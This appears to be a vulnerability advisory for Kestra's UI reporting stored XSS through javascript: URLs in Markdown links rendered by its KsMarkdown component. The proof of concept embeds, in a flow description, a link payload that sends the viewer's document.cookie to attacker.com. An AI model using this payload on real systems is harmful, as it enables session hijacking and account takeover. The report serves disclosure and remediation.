Stored XSS via javascript: URL in KsMarkdown — xssProtection sanitizer does not cover Markdown-parsed link nodes
Description
KsMarkdown renders Markdown links without validating the URL scheme. The xssProtection sanitizer only processes raw HTML nodes — it does not run on Markdown-parsed link nodes generated by the Markdown parser. A text Markdown link produces a clickable anchor tag that executes JavaScript when clicked. This affects flow descriptions, trigger descriptions, dashboard Markdown charts, copilot messages, and blueprints.
Details
ui/packages/design-system/src/components/Data/KsMarkdown/KsMarkdown.vue:300
The component applies xssProtection sanitization to raw HTML nodes but the Markdown parser generates link nodes independently. These link nodes are not passed through the sanitizer. The resulting <a href="javascript:payload"> is rendered directly in the DOM.
Affected surfaces (all render user-controlled Markdown):
- Flow descriptions
- Trigger descriptions
- Dashboard Markdown chart content
- Copilot AI messages
- Blueprint descriptions
This is distinct from GHSA-34pm (Markdown [[link]] attribute injection in a different attribute parsing path) and GHSA-v2mc (flow YAML field XSS). This affects the URL scheme of standard Markdown links processed by KsMarkdown, a shared component used across the entire UI.
PoC
Prerequisites: Authenticated user with flow edit permission.
Step 1: Create or edit a flow with a malicious description:
id: test-flow
namespace: company
description: |
Click here for docs: [Documentation](javascript:fetch('https://attacker.com?c='+document.cookie))
tasks:
- id: hello
type: io.kestra.plugin.core.log.Log
message: helloStep 2: Any user who views the flow description in the UI sees a legitimate-looking "Documentation" link.
Step 3: User clicks the link — JavaScript executes in their browser session, exfiltrating their session cookie.
Same payload works in trigger descriptions, dashboard Markdown charts, copilot messages, and blueprints.
Impact
Stored XSS across multiple surfaces in the Kestra UI. Any authenticated user with flow edit permission can embed malicious links that execute JavaScript when clicked by any other user including admins. Enables session hijacking, credential theft, and account takeover. The broad reach of KsMarkdown across the UI makes this particularly impactful.
Please credit this report to Mayssare Amakhtari (GitHub: @cy3erm).